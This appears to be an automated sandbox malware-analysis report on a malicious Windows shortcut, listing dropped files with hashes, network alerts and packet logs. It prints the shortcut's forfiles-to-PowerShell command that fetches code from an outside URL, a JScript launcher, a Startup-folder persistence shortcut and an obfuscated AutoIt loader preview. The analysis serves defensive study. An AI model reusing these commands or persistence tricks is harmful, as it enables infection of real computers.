File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\54b75be3-86a9-4a22-be03-fa5f3518dbd4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\57379a10-1671-4e96-8dfd-73801b37c0ac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/6ZwYIGNPgeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:CZwZG/WLxXGZN3mlind9i4ufFXpAXkru
MD5:	59456AEBFE40D51DCD738AF1B2D65A03
SHA1:	953094EDE30485AB6E071F8A0BF64D9BC1C34227
SHA-256:	1C21F3042C5972DE59996ED10C08D9072E9F2643F65ED69355CD5B2E7735067D
SHA-512:	CB3AF6D15DC5F111D80FD5B4599E204721ABEC89AD44D7C0A41C19E515E01F2541CE38C673628640A24DFCBA5D5AF242D95203FEBD1E9ADAE787F13419644E9D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ce8b20ff-b4e8-4daa-8dcf-980190fa2327.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yawYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:3wZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	CFE92F09B3CF5F1D659B8E273EA6BE32
SHA1:	5434B8D5E70B5C581C383413B92C835DD7E9D8CC
SHA-256:	6E57E3E8E384579FE6B1F8BE103EBD1DBC57FC80171A1E34CB87C29603FBD601
SHA-512:	838DF787F3032E647AFF8F311C829C5E2F39C47EC432BD0A51F6B262C0C5CB6F63802DCB2DD4F92EFC4C816372E65AEDF4E19D4346793D1D94A485A8FF94A60C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\WordGenius Technologies\G

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with very long lines (1266)
Category:	dropped
Size (bytes):	1240100
Entropy (8bit):	5.144277296271024
Encrypted:	false
SSDEEP:	12288:D8V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:DcB7HxicaEmEQD3I1jUZ
MD5:	078A35D34863F9421F702C3044DA8A1F
SHA1:	1D34A5EF73992231F1E5857A462359596647E0F6
SHA-256:	6E32AE2A7776564163BE157BAEE93FCB156A5030D620C71D9FCF33D9A7CBC925
SHA-512:	67EEB87AEE2567513FC6D5AE241E62D73874980EC18BB77C46DF4191A2EC64A6DB1200F7541B0F6E908B66D39ACE1D483CD1E33E90C165A6DBA01C35536E1541
Malicious:	false
Preview:	Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.7401751318145395
Encrypted:	false
SSDEEP:	3:RiMIpGXfeNH5E5wWAX+aJp6/h4EkD5yKXW/Zi+0/RaMl85uWAX+aJp6/h4EkD5yn:RiJbNHCwWDaJ0/hJkDrXW/Zz0tl8wWDH
MD5:	633E34C077F6828A474217CE7DE57BED
SHA1:	6C7EF480F22DE38D9EDF82EF35C4F5943540E164
SHA-256:	FE9F225D70AC67046F622C2F52E17CB8CEDD111F51AEAA17C5ADBE48846E21AF
SHA-512:	358C0EBBA88DA82FCDDE3D1C518C559DADBA02E7D5935A5D12BBC5D1463A8BA094FC2AD186CDE82316010E1C4C5E18C2314C4FED70DB433C39C8FF3015577995
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Download File

Process:	C:\Users\Public\Guard.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Marketing.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.3, 3 pages
Category:	dropped
Size (bytes):	3986
Entropy (8bit):	7.456004459274474
Encrypted:	false
SSDEEP:	96:6RHrsQ6Fc+YDxP8gpOwEBdOujxeB7knVQzWKB5Y+74C0sLJRSo:6trcPYDigiBdfetAMxm8BPRSo
MD5:	F1D1BF7BA473B16F95B0BAFE0E09A402
SHA1:	33CBC0601595EC233C96D8181D12CEAE9CEECE7A
SHA-256:	CFBACCD2CC5E9FCE35F05E87D7F5D8DF85CA47ECF0E8FDC44CFB701A70EB0DFE
SHA-512:	559918229442151AF1C1C48D55052BC94BB28E664CE5190B40BF0CE10A3381F1D9773F3FC4E1848CB7A5E34DE4279533E64F667F58F473DB61C824E861CF6F90
Malicious:	false
Preview:	%PDF-1.3.3 0 obj.<</Type /Page./Parent 1 0 R./Resources 2 0 R./Contents 4 0 R>>.endobj.4 0 obj.<</Filter /FlateDecode /Length 879>>.stream.x.}TM..:...+..U...?...P..+.(H...bO....$%..{f.8N..'.F...3....e..W..x.1...I...\|X.4iD.B.".a.../f@0+....{.^9...(.Tk....k..4Hx4.U........3H..#.U.."..H...V$.k....HO ]... .....X.J<.......{...^&V.5\|..:....z:....j2.7. .n.....=QA......ai..<H....\|...#?.]............H...W%Y..{.k....CY)Xg>$....v.b.+c.o....),.6.E........>..>.Rk..~..n.I...].k........V...G.d...B..v.Ri......Or.....E)sylC.....${.v.\ ..*.\...#..a&pP~.Q.G92..WJ#t.Pf.....,.]..n..)../.a0...<.$...a..\|&...O.Y-....N.=..R..3M.&D..a...j....>!..ZJ..G.c...yc..x.....7w......d.E.....j....\|.E&.X.Q.,J>..)......7.%Z...9u....K7...\u.#FA..l.......C.@...N..^.e]dM).8}...\|.cV...3....>..V....ufq....r..w-....,HU]..e.h.. .4.....8j....c.....?..L.t.c.f..i..$.{..I".vRc..[..\.............v..]..^.<MKQL..+......4...v...I\..6 ..H.........t...............^n.!O.\..>.o./.QW'....~.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	99
Entropy (8bit):	4.9306597478632
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J5yKXW/Zi+URAAy:HRYF5yjo923yKXW/Zzyy
MD5:	EF6AD112185745A629FB60A8A2678649
SHA1:	500391A0E969362BFA1DFE7A116A9395E29D29DA
SHA-256:	14555F0A16F710F533606B316DE7765634F60BD9FC5D1946D80EAA29104ACAF9
SHA-512:	2F3E1A025E02EB111BB3E9F6E1CCEE3AD3A7A7BC90C0DF7D0C4ECD90BA7792A5D3C361113423BC9ED035FCA77EA5B9870AD1B648E1A86E717F7D29672699176D
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1083904
Entropy (8bit):	6.306473619816267
Encrypted:	false
SSDEEP:	24576:DrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvaB1T:D2EYTb8atv1orq+pEiSDTj1VyvBa3
MD5:	567DE19C0E7E3A1FC845E51AC1C1D5D8
SHA1:	4C4FDEA73E0C98C2C82B6B1232EF7ECF5B99CCD1
SHA-256:	F1140750BA9FEAD0EF27B715D1BB2AE28864FE611068759F8EF4F8364AF559CB
SHA-512:	84C3A61A1F7A71E52DFE110CD975F6DA7EA0B2A83FA16F7B46C223ADE7B44D1F299BF0C108268502F144F5C93E0A74AB37B13D24B9540355658119768BF12C2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG....>PG.....PG.....PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(.#PG."(..PG."(..PG.+PF..RG..9I.{PG..9D.PG..9..PG.+P.PG..9E.PG.Rich+PG.........................PE..d....^g.........."......4...R.......T.........@....................................qR....`...@...............@..............................\..\|........@...@..Ho..............t...Pp..........................(...pp...............P..8............................text...(3.......4.................. ..`.rdata...B...P...D...8..............@..@.data... ........P...\|..............@....pdata..Ho...@...p..................@..@.rsrc....@.......B...<..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:09:57 2019, mtime=Sun Dec 15 10:07:21 2024, atime=Sat Dec 7 08:09:57 2019, length=41472, window=hidenormalshowminimized
Entropy (8bit):	4.62209593153277
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	duyba.lnk.download.lnk
File size:	1'146 bytes
MD5:	afc9a2ec3804784e238beba0fb861346
SHA1:	fcf72ba6b5031b3cde13b6e09480f467bfcde1a0
SHA256:	e3b166a6a0bb2f3041367773c47e195224a65e4bc6fb5b8e69a6e2309db055c3
SHA512:	f2642fefeb287611a803550a81304fd604b872594385289cdd7c8df11937a9a2e874c1c88c3a3780f21b6577e2819d4303b06a7e9ed7405572d83245eeb7525c
SSDEEP:	24:8+fY3sn+hpyAMkA+/44+4MlEPSL6w4aFacabqyI+pu4m:8z3zF/MlEQ6v+acaey3w4
TLSH:	A121CE0823D90774C376AE39683AF301CA717D86EC638F1E05D006886495111B8A6FBA
File Content Preview:	L..................F.... ...........!kR..N..................................E....P.O. .:i.....+00.../C:\...................V.1......YI...Windows.@........OwH.Yy\....(.....................R3..W.i.n.d.o.w.s.....Z.1......Y....System32..B........OwH.Y.X......

File Icon


Icon Hash:	74f0e4e4e4e1e1ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\forfiles.exe
Command Line Argument:	/p C:\Windows\System32 /m cmmon32.exe /c "powershell . \i\2\mshe https://tiffany-careers.com/ghep2
Icon location:	shell32.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T09:13:05.458082+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49707	147.45.49.155	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:12:58.765748024 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:12:58.765795946 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:12:58.765882015 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:12:58.775537014 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:12:58.775552034 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.295684099 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.295763969 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:00.388824940 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:00.388845921 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.389837980 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.389899015 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:00.392225981 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:00.435372114 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.898328066 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:00.898504972 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.088951111 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.088985920 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.089035034 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.089127064 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.089138031 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.089163065 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.089210033 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.143244982 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.143296003 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.143383026 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.143392086 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.143485069 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.285769939 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.285840988 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.285938978 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.285952091 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.285972118 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.286012888 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.325665951 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.325716972 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.325793028 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.325804949 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.325866938 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.325866938 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.346959114 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.347008944 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.347059011 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.347067118 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.347096920 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.347125053 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.347147942 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:01.347203970 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.539334059 CET	49704	443	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:01.539355040 CET	443	49704	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:03.327697039 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:03.447460890 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:03.447592974 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:03.447788954 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:03.567344904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:04.824548006 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:04.824580908 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:04.824606895 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:04.824632883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:04.824642897 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:04.824685097 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:04.996354103 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.116005898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.457967043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458029985 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458048105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458081961 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.458106995 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458152056 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.458251953 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458267927 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.458307981 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.466337919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.466406107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.466453075 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.474754095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.474906921 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.474951029 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.483046055 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.532474995 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.608304977 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.608386040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.608437061 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.612427950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.615899086 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.615933895 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.615945101 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.649046898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.649100065 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.649133921 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.653126001 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.653143883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.653176069 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.659574032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.659626007 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.659668922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.667953968 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.668004036 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.668072939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.676419973 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:05.676465988 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:05.676547050 CET	80	49707	147.45.49.155	192.168.2.5
